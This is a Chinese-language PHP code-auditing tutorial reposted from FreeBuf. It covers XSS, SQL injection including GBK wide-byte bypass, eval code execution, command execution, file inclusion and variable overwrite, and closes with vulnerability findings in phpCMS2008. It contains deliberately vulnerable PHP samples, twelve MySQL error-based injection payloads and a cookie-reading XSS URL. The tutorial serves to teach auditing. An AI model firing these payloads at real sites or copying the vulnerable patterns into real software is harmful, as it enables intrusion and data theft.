代码审计

实战讲解PHP代码审计入门

字号+ 作者:Freebuf.com 来源:转载 2016-12-18 14:56 我要评论( )

前言 php 代码审计 介绍:顾名思义就是检查php 源代码 中的缺点和错误信息,分析并找到这些问题引发的安全漏洞。 1、环境搭建: 工欲善其事必先利其器,先介绍代码......

前言

php代码审计介绍:顾名思义就是检查php源代码中的缺点和错误信息,分析并找到这些问题引发的安全漏洞。

 

1、环境搭建: 工欲善其事必先利其器,先介绍代码审计必要的环境搭建

审计环境 windows环境(windows7+Apache+MySQL+php)

phpstudy(任何php集成开发环境都可以,),notepad++, seay源代码审计系统

   

审计环境 linux环境(Apache+MySQL+php)

我用的是kail linux apache与mysql已经集成在linux上了,只需要安装php环境即可


apt-get install php5 php-pear

service apache2 start

service mysql start


   


2、xss审计

XSS 又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意 用户的特殊目的。 xss分为存储型的xss和反射型xss, 基于DOM的跨站脚本XSS。

反 射型xss审计的时候基本的思路都一样,通过寻找可控没有过滤(或者可以绕过)的参数,通过echo等输出函数直接输出。寻找的一般思路就是寻找输出函 数,再去根据函数寻找变量。一般的输出函数有这些:print , print_r , echo , printf , sprintf , die , var_dump ,var_export。

测试代码如下(简单的说一下原理):

存储型xss审计和反射型xss审计时候思路差不多,不过存储型xss会在数据库“中转”一下,主要审计sql语句update ,insert更新和插入。   

测试代码如下   


[PHP] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
mysql_connect('localhost','root','root');
mysql_select_db('test');
mysql_query("set names gbk");
if(isset($_POST['submit'])){
$title=$_POST['title'];
$con=$_POST['con'];
$sql="INSERT INTO `xss` (`id` ,`title`,`con`)VALUES (NULL , '$title', '$con');";
if(mysql_query($sql)){
echo "留言成功";
}else{
echo "留言失败";
}
}else{
$sql="select * from xss";
if($row=mysql_query($sql)){
while($rows=mysql_fetch_array($row)){
echo$rows['id'].$rows['title'].$rows['con']."<br>";
}
}
}
?>
<html>
<form action="?action=insert"method="post">
标题:<input type="text" name="title"><br>
内容:<textarea name="con"></textarea>
<input type="submit"name="submit" value="提交">
<form>
</html>

基于DOM的跨站脚本XSS:通过访问document.URL 或者document.location执行一些客户端逻辑的javascript代码。不依赖发送给服务器的数据。简单的写一个脚本让大家看一下。


[HTML] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
9
<HTML>
<TITLE>DOM base xss !</TITLE>
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
.................
</HTML>
[url=http://127.0.0.1/xss.html?name=]http://127.0.0.1/xss.html?name=[/url]<script>alert(document.cookie)</script>

3、sql注入审计:

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。SQL注入的产生原因:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

首先说一下普通的注入审计,可以通过$_GET,$_POST等传参追踪数据库操作,也可以通过select , delete , update,insert 数据库操作语句反追踪传参。写一个简单的sql漏洞。


[PHP] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
<?php
$conn =mysql_connect('localhost','root','root');
mysql_select_db("test",$conn);
$uid = $_GET['id'];
$sql = " select * from user where id =$uid";
$result = mysql_query ($sql,$conn);
print_r(mysql_fetch_row($result));
?>

在 实际环境中程序员永远不会写这样的代码,一般都会用addslashes()等过滤函数对从web传递过来的参数进行过滤,但是如果在php链接 mysql的时候,设置了“set character_set_clinet=gbk”就会出现一个编码转换的问题,也就是能产生宽字节注入。character_set_client变 量就是作为客户端发送的查询中使用的字符集。简单来说%df’会被过滤函数转义为%df\’ ,%df\’= %df%5c%27 在使用gbk编码的时候会认为%df%5c是一个宽字节%df%5c%27=縗’,这样就会产生注入。咋们把上面那个普通注入改改,让他变成宽字节注入。


[PHP] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
9
<?php
$conn =mysql_connect('localhost','root','root');
mysql_select_db("test",$conn);
mysql_query("set NAMES'gbk'",$conn);
$uid = addslashes($_GET['id']);
$sql = " select * from user where id =$uid";
$result = mysql_query ($sql,$conn);
print_r(mysql_fetch_row($result));
?>


4、sql报错注入的12个函数及sql注入语句:

1、通过floor报错,注入语句如下:   

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

 

2、通过ExtractValue报错,注入语句如下:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

 

3、通过UpdateXml报错,注入语句如下:

and 1=(updatexml(1,concat(0x3a,(selectuser())),1))

 

4、通过NAME_CONST报错,注入语句如下:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

 

5、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

 

6、通过exp报错,注入语句如下:

and exp(~(select * from (select user () ) a) );

 

7、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

 

8、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

 

9、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

 

10、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

 

11、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

 

12、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

   

join报错注入(剩下的就不贴图了,已经测试啦);


5、代码执行审计:

代 码执行审计和sql漏洞审计很相似,sql注入是想sql语句注入在数据库中,代码执行是将可执行代码注入到webservice 。这些容易导致代码执行的函数有以下这些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中 preg_replace()需要/e参数。写一个简单的审计测试代码方便理解,如下


[PHP] 纯文本查看 复制代码
?
1
2
3
4
5
6
<?php
if(isset($_GET['id'])){
$id=$_GET['id'];
eval("\$id = $id;");
}
?>

6、命令执行审计:

代 码执行说的是可执行的php脚本代码,命令执行就是可以执行系统命令(cmd)或者是应用指令(bash),这个漏洞也是因为传参过滤不严格导致的,一般 我们说的php可执行命令的函数有这 些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open(); 反引号也是可以执行的,因为他调用了shell_exec这个函数。我们写段代码看一下

这种的命令执行要好找一些,通过函数追踪参数,再通过参数来执行,还有可以通过bash破壳来执行,大牛有文章,我就不献丑了,链接如下:

http://www.freebuf.com/articles/system/50065.html


7、文件上传,文件包含漏洞:

文 件上传应该是最常用的漏洞了,上传函数就那一个 move_uploaded_file();一般来说找这个漏洞就是直接ctrl+f 直接开搜。遇到没有过滤的直接传个一句话的webshell上去。上传的漏洞比较多,Apache配置,iis解析漏洞等等。在php中一般都是黑白名单 过滤,或者是文件头,content-type等等。一般来找上传的过滤函数进行分析就行,这里就不多说了。

文 件包含有这么两种:本地包含和远程包含。审计的时候函数都是一样的,这个四个包含函数: include() ; include_once() ; require();require_once().include 和 require 语句是相同的,除了错误处理方面:require 会生成致命错误(E_COMPILE_ERROR)并停止脚本,include 只生成警告(E_WARNING),并且脚本会继续。先说一下本地包含,本地包含就指的是只能包含本机文件的漏洞,一般要配合上传,或者是已控的数据库来 进行使用。写一段代码测试一下

首先我们创建一个test.php


[PHP] 纯文本查看 复制代码
?
1
2
3
4
<?php
$uid=$_GET['id'];
include(ROOT.$uid.'.php');
?>

再在同目录下创建test1.php


[PHP] 纯文本查看 复制代码
?
1
2
3
<?php
phpinfo();
?>

   

再来说说远程包含,远程包含需要设置 allow_uel_include =On,而且可以http,https,ftp都包含进去,不过实际上这个漏洞太少,很多时候都是代理直接把文件代过来,不审计的时候咋一看还以为是。。。。。。上代码说吧


[PHP] 纯文本查看 复制代码
?
1
2
3
<?php
include($_GET['id']) //这id直接写url就可以包含
?>

 

8、变量覆盖


大概有两种情况,第一种register_globals,第二种人为变量覆盖,register_globals= On 的时候,传递过来的值会被直接设置为全局变量使用,而Off的时候,我们需要到特定的数组里去得到它。另一种就是人为变量覆盖,写一段代码看看。


[PHP] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
9
<?php     
   $id = '0'
   extract($_GET); 
      if($id==1){ 
   echo "private!"
   }else
    echo "public!"
   
   ?>

备注:register_globals php4 默认开启 php5 默认关闭

   

 

9、实战:phpCMS2008

首先先找找配置文件环境变量这些,在/include/common.inc.php文件中突然发现

   

发现$_SERVER 变量,这个变量不收GPC的保护,ctrl + f 全文找找,在c.php发现这么一些语句

   

这个地方没有过滤,直接饮用HTTP_REFERER变量,很开心,继续给下看,发现进行了数据库操作,$db->insert($table, $info); 这不就是注入了吗?在referer处注入即可;

继续审,

   

在\phpcms \yp\product.php下突然发现这个函数urlencode($areaname),这个函数转换areaname为16进制,猜测一下,解码 肯定使用urdecode()解码,看一下,这个参数与数据库没有交互,但是在分页时输入了areaname,尝试成功xss

   

继续,在areaname拼接$urlrule变量的时候,


[PHP] 纯文本查看 复制代码
?
1
$urlrule="$M[url]product-list-$view_type-$catid-$pagesize--$areaname--$order.html|$M[url]product-list-$view_type-$catid-$pagesize--$areaname--$order-\$page.html";


我 们发现不仅仅把areaname参数带入,还将pagesize参数带入模板的html,执行进入到get函数处理中,最后经过 get->pages->pageurl函数,最终触发pageurl的如下代 码:eval(“”$url= “”$urlrule”";”);在这里,这里将拼接的urlrule进行执行,我们就可以将pagesize参数替代我们想要执行的任意php代码。如 下图

[url=/uploads/allimg/161218/14544U309-13.png]   

咋们继续给下看,大胖又找到了这个\phpcms\wap\index.php

   

为了方便测试,在目录下写入test.php <?php phpinfo();?>

   

phpcms2008完美完成了代码审计的时候的xss, sql注入,代码执行审计,本地包含这一堆漏洞,说实话,大胖也没想到一个cms基本实现php审计实战大部分内容。

 

转自:FreeBuf


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/hack/Code/452.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • 记一次PHP代码审计寻找注入点

    记一次PHP代码审计寻找注入点

    2016-11-26 09:41

  • PHP代码审计SQL注入篇

    PHP代码审计SQL注入篇

    2016-11-25 10:56

网友点评
暂时未开启评论功能~